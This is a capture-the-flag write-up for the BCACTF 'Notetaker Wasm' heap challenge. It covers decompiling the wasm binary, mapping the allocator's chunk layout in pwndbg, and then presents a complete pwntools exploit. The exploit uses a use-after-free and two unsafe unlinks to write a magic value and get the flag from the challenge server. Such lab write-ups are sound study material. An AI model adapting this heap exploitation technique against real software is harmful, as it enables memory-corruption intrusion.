[BCACTF] Notetaker Wasm

Challenge description: ‘Just another heap notetaker challenge - compiled to wasm.’ The author provided us with the file challenge.wasm.

Plan

  • find that ghidra has a plugin from nneonneo for wasm files.
  • find the switch to win the challenge (write ‘fL4g’ at 0x005016e8)
  • use gdb and wasmtime to perform some dynamic analisys to understand how the heap is implemented
  • unsafe unlink 2 times to write ‘fL4g’
  • win the challenge bcactf{e8f73a0ebcd82fcce8a}

Intro

I have used a plugin from nneonneo. Here there is some decompiled code with the function renamed since the file does not contain any symbols.

Let’s see what this program does:

]=======[ MENU ]=======[
] 1) Print a note      [
] 2) Delete note       [
] 3) Create a note     [
] 4) Write to a note   [
]======================[
Please choose an option (1, 2, 3, 4)

Above we can see what the program can do, and below there is the main function that will contain the function for printing the menu and handle the choices of the user.

undefined4 main-ish(void)

{
  int selection;
  
  while( true ) {
    while( true ) {
      while( true ) {
        while( true ) {
          if (false) {
            win();
            return 0;
          }
          selection = printmenu_ret_selection();
          if (selection != 0) break;
          print_note();
        }
        if (selection != 1) break;
        delete_note();
      }
      if (selection != 2) break;
      create_note();
    }
    if (selection != 3) break;
    write_note();
  }
  puts-ish(s_Invalid_option_ram_00000460);
  return 0;
}

we can see that there is a function that I have renamed win because will print the flag, below the decompiled code.

void win(void)
{
  //    ram:00000400 ds "bcactf{not_the_actual_flag}"
  puts-ish(0x400);
  return;
}

so we need to run this function, but from the decompiled code it seems that it will not be called no matter what, but by analyzing the main wasm code we can see that is not true. That function will be called oly if at the address 0x005016e8 will be present the string ‘fL4g’ here the wasm code where this behavior is defined.

                            global_0 
     al:00000000            undefined4 005016F0h

                             main-ish 
    ram:8000085c   0        .locals
    ram:8000085d   0        .local     count=0x14 type=0x7f
    ram:8000085f   0        global.get global_0 ## = 005016F0h
    ram:80000861   0        local.set  l0
    ram:80000863   0        i32.const  0x10
    ram:80000865   0        local.set  l1
    ram:80000867   0        local.get  l0
    ram:80000869   0        local.get  l1
    ram:8000086b   0        i32.sub
    ram:8000086c   0        local.set  l2 #### l2 = l0-l1 = global_0 - 0x10 = 005016E0
    ram:8000086e   0        local.get  l2
    ram:80000870   0        global.set global_0 ## global_0 = l2 = 5016E0
........................................................
                             LAB_ram_8000088a           
    ram:8000088a 010        loop       blocktype=0x40
    ram:8000088c 010        local.get  l2
    ram:8000088e 010        i32.load   align=0x2 offset=0x8
    ram:80000891 010        local.set  l5 ### l5 = load(base=l2, offset=0x8) = 5016E0 + 8
    ram:80000893 010        i32.const  0x67344c66 ##### fL4g
    ram:80000899 010        local.set  l6
    ram:8000089b 010        local.get  l5
    ram:8000089d 010        local.set  l7 #### l7 = l5 = load from 5016E08
    ram:8000089f 010        local.get  l6
    ram:800008a1 010        local.set  l8 #### l8 = l6 =  0x67344c66 = fL4g
    ram:800008a3 010        local.get  l7
    ram:800008a5 010        local.get  l8
    ram:800008a7 010        i32.eq
    ram:800008a8 010        local.set  l9 #### l9 = eq(l8,l7) = eq('fL4g', *5016E08)
    ram:800008aa 010        i32.const  0x1
    ram:800008ac 010        local.set  l10 ### l10 = 1
    ram:800008ae 010        local.get  l9
    ram:800008b0 010        local.get  l10
    ram:800008b2 010        i32.and    ######## win only if l10 and l9 !=0
    ram:800008b3 010        local.set  l11
    ram:800008b5 010        block      blocktype=0x40
    ram:800008b7 010        local.get  l11
    ram:800008b9 010        i32.eqz    ######## win only if l11 != 0
    ram:800008ba 010        br_if      LAB_ram_800008cb
    ram:800008bc 010        call       win  ###################### WIN

So really fast plan we need to write ‘fL4g’ at 5016E08, so we need to have an arbitrary write primitive in some way.

Heap reseach

WebAssembly (wasm) is a 32-bit stack-based virtual machine for usage in browsers. Executable, stack (grows to 0), heap (grows from 0)is the most common wasm memory layout. and there are no ASLR, no write protection, and no execute protection over the memory.

pwndbg> dd 0x7ffe705016f0 20
00007ffe705016f0     00000000 0000001b 41414141 41414141
00007ffe70501700     41414141 00414141 00000000 0000001b
00007ffe70501710     42424242 42424242 42424242 00424242
00007ffe70501720     00000000 0000001b 43434343 43434343
00007ffe70501730     43434343 00434343 00000000 000018a1

here we can see the heap with the allocated three notes of size 0x10 bytes, we can see that before the user data he have 8 bytes that contains the sixe of the allocate chunk, (I think that was 4 byte for the prev size and 4 for the sise and flags).

This is the heap with 6 notes allocated and the 1st,3rd,5th deleted.

pwndbg> dd 0x7ffe705016f0 40
00007ffe705016f0     00000000 00000019 0000153c 00501720
00007ffe70501700     41414141 00414141 00000018 0000001a
00007ffe70501710     42424242 42424242 42424242 00424242
00007ffe70501720     00000000 00000019 005016f0 00501750
00007ffe70501730     43434343 00434343 00000018 0000001a
00007ffe70501740     00000000 00000000 00000000 00000000
00007ffe70501750     00000000 00000019 00501720 0000153c
00007ffe70501760     00000000 00000000 00000018 0000001a
00007ffe70501770     00000000 00000000 00000000 00000000
00007ffe70501780     00000000 00001859 00000000 00000000

This is the heap with 6 notes allocated and the 1st, 2nd, 3rd,5th, 6th deleted.

pwndbg> dd 0x7ffe705016f0 40
00007ffe705016f0     00000000 00000049 0000156c 0000156c
00007ffe70501700     41414141 00414141 00000018 0000001a
00007ffe70501710     42424242 42424242 42424242 00424242
00007ffe70501720     00000000 00000019 0000153c 00501750
00007ffe70501730     43434343 00434343 00000048 0000001a
00007ffe70501740     00000000 00000000 00000000 00000000
00007ffe70501750     00000000 00001889 0000153c 0000153c
00007ffe70501760     00000000 00000000 00000018 0000001a
00007ffe70501770     00000000 00000000 00000000 00000000
00007ffe70501780     00000000 00001859 00000000 00000000

we can see that the chunk after the free is arranged like this:

|4Bytes|  4Bytes  |4Bytes|4Bytes|
|      |size flags|  bk  |  fd  |
| data |   data   | data | data |

so is a circular doubly linked list. And we can also see that the freed chunk near the top chunk are consolidated into it, and also chunks that are not near the top chunk, but that also freed chunks that have another freed chunk next to them are consolidated with each other (see 1st and 2nd and 3rd) and are moved into another circular doubly linked list.

So if is possible a unsafe unlink if we can taamper the heap metadata saved into a chunk after the free we can write and win the challenge. Lukly for us this is possible, since in order to maintain small size of code for the wasm library some checks are not performed.

And since we have a UAF (the program never null the pointer freed so after the free we can always write into the note) we can tamper chunk metadata and perform an unsafe unlink in order to write data wherever we want.

This is possible because, since the consolidated chunk need to be moved from one list to another (From the list associated with one chunk size to another with another chunk size) the removed chunk need to be unlinked from one list and so his bk pointer need to be write into the fd->bk value and his fd pointer need to be written into the bk->fd value and so we have an arbitrary write primitive. The only think is that we need to write two time because there is a check for the value since we write in both direction what we write need also to be a valid address, so I wasn’t able to write all fL4g in one time but I have exploited two unsafe unlink in order to write fL4g at 0x005016e8

Exploit

from pwn import *

def print_note(i):
	p.sendlineafter(b'Please choose an option (1, 2, 3, 4)\n',b'1')
	p.sendlineafter(b'Please choose a note (1 to 8 inclusive)\n',f'{i}'.encode())
	p.recvuntil(b'Printing note\n\n')
	res = p.resvuntilS(']=======[ MENU ]=======[\n').replace(']=======[ MENU ]=======[\n','')
	return res

def delete(i):
	p.sendlineafter(b'Please choose an option (1, 2, 3, 4)\n',b'2')
	p.sendlineafter(b'Please choose a note (1 to 8 inclusive)\n',f'{i}'.encode())	

def create_note(i):
	p.sendlineafter(b'Please choose an option (1, 2, 3, 4)\n',b'3')
	p.sendlineafter(b'Please choose a note (1 to 8 inclusive)\n',f'{i}'.encode())	

def write_note(i, data):
	p.sendlineafter(b'Please choose an option (1, 2, 3, 4)\n',b'4')
	p.sendlineafter(b'Please choose a note (1 to 8 inclusive)\n',f'{i}'.encode())
  p.sendlineafter(f'Send note content for note'.encode(),data)

#p = process(argv=["/home/eurus/.wasmtime/bin/wasmtime",'run','-g','chall.wasm'])
#gdb.attach(p)
p=remote('bin.bcactf.com', 49180) 

# arrange the heap to exploit two unsafe unlink
create_note(1)
create_note(2)
create_note(2)
create_note(3)
create_note(4)
create_note(4)
create_note(5)
create_note(6)
create_note(6)
create_note(7)

delete(1)
delete(2)
delete(4)
delete(6)

# exploit UAF to tamper with heap metadata
write_note(2,b'AAAA\xe0\x16\x50')
write_note(2,b'AAA') # use for null byte at the end
write_note(2,b'fL') #

write_note(4,b'AAAA\xe2\x16\x50')
write_note(4,b'AAA') # use for null byte at the end
write_note(4,b'4g')

#cause unlink 2 and 4 
delete(3)
delete(5)

p.interactive()
'''
eurus@CTF:~/Scaricati/bcactf-2022/pwn_notetaker-wasm$ python3 solver.py
[+] Opening connection to bin.bcactf.com on port 49180: Done
[*] Switching to interactive mode
Note has been deleted
bcactf{e8f73a0ebcd82fcce8a}
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to bin.bcactf.com port 49180
'''